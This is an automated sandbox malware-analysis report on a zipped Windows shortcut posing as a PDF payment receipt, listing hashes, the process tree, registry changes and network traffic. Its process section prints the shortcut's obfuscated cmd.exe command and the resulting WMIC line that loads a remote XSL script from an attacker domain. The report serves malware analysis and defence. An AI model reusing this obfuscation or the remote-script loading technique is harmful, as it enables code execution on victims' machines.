Malware analysis Comprovante.3179.pdf.zip Malicious activity

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File name:	Comprovante.3179.pdf.zip
Full analysis:	https://app.any.run/tasks/04cd0a16-ea0c-454b-83e1-07a775b13d27
Verdict:	Malicious activity
Analysis date:	April 24, 2019, 07:25:07
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/zip
File info:	Zip archive data, at least v2.0 to extract
MD5:	1B5804F0F512FFCCD1553D71F3D81556
SHA1:	EB2D9280025E50F2BAB24423E6389D9C7587B3D2
SHA256:	63FD22795246EEF50AB842984F31588D124D097526EEDF90A961D59C51A5DD69
SSDEEP:	24:9ePYQV4SxELpNhK4WgAIlwtOmeXzyVTCYgf9Oly1NrISY4PLYqrCUb:9KYA4SxEThKSAI6PemoYSO6N3/PLf/b

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Runs app for hidden code execution
  - cmd.exe (PID: 2360)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 2360)
- Creates files in the user directory
  - WMIC.exe (PID: 3464)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.zip	\|	ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	-
ZipCompression:	Deflated
ZipModifyDate:	2019:04:24 07:21:08
ZipCRC:	0x03bd1eb1
ZipCompressedSize:	961
ZipUncompressedSize:	3100
ZipFileName:	Comprovante.3179.pdf.lnk

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2360

"C:\Windows\System32\cmd.exe" /V /C "set x=C[4988]:\\[4988]Wi[4988]nd[4988]ow[4988]s\\s[4988]ys[4988]te[4988]m3[4988]2[4988]\\[4988]wbe[4988]m\\W[4988]M[4988]I[4988]C.e[4988]x[4988]e o[4988]s g[4988]e[4988]t hj[4988]6lu[4988]90a[4988]U[4988], fr[4988]e[4988]e[4988]vi[4988]rt[4988]ua[4988]lme[4988]mor[4988]y /[4988]form[4988]at:"h[4988]t[4988]t[4988]p[4988]:[4988]/[4988]/mm[4988]e[4988]f[4988]7[4988]8[4988]iq[4988]k.[4988]ul[4988]tr[4988]apo[4988]wer[4988]06.[4988]x[4988]y[4988]z[4988]:[4988]2[4988]5[4988]08[4988]6/0[4988]9/?[4988]1[4988]3[4988]8[4988]0[4988]2[4988]5[4988]08[4988]6i[4988]q3[4988]9E[4988]LKi[4988]z" &&echo %x:[4988]=%|C:\Windows\system32\cmd.exe"

C:\Windows\System32\cmd.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2796

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Comprovante.3179.pdf.zip"

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Exit code:

Version:

5.60.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll

2952

C:\Windows\system32\cmd.exe /S /D /c" echo %x:[4988]=%"

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3028

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3464

C:\\Windows\\system32\\wbem\\WMIC.exe os get hj6lu90aU, freevirtualmemory /format:"http://mmef78iqk.ultrapower06.xyz:25086/09/?138025086iq39ELKiz"

C:\Windows\system32\wbem\WMIC.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

WMI Commandline Utility

Exit code:

44210

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll

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Total events

526

Read events

490

Write events

Delete events

Modification events


(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\Comprovante.3179.pdf.zip
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(2796) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(3464) WMIC.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(3464) WMIC.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3464	WMIC.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@mmef78iqk.ultrapower06[1].txt		—
		MD5:—	SHA256:—
3464	WMIC.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@google[1].txt		—
		MD5:—	SHA256:—
3464	WMIC.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@mmef78iqk.ultrapower06[2].txt		text
		MD5:—	SHA256:—
3464	WMIC.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\google_com[1].txt		html
		MD5:—	SHA256:—
3464	WMIC.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@google[2].txt		text
		MD5:—	SHA256:—
2796	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DRa2796.23281\Comprovante.3179.pdf.lnk		lnk
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3464	WMIC.exe	GET	302	35.235.81.160:25086	http://mmef78iqk.ultrapower06.xyz:25086/09/?138025086iq39ELKiz.xsl	US	html	319 b	unknown

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3464	WMIC.exe	216.58.210.4:443	www.google.com	Google Inc.	US	whitelisted
3464	WMIC.exe	35.235.81.160:25086	mmef78iqk.ultrapower06.xyz	—	US	unknown

DNS requests

Domain	IP	Reputation
mmef78iqk.ultrapower06.xyz	35.235.81.160	unknown
www.google.com	216.58.210.4	malicious

Threats

No threats detected

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No debug info

General Info

Comprovante.3179.pdf.zip

1B5804F0F512FFCCD1553D71F3D81556

EB2D9280025E50F2BAB24423E6389D9C7587B3D2

63FD22795246EEF50AB842984F31588D124D097526EEDF90A961D59C51A5DD69

24:9ePYQV4SxELpNhK4WgAIlwtOmeXzyVTCYgf9Oly1NrISY4PLYqrCUb:9KYA4SxEThKSAI6PemoYSO6N3/PLf/b

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Runs app for hidden code execution

SUSPICIOUS

Starts CMD.EXE for commands execution

Creates files in the user directory

INFO

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings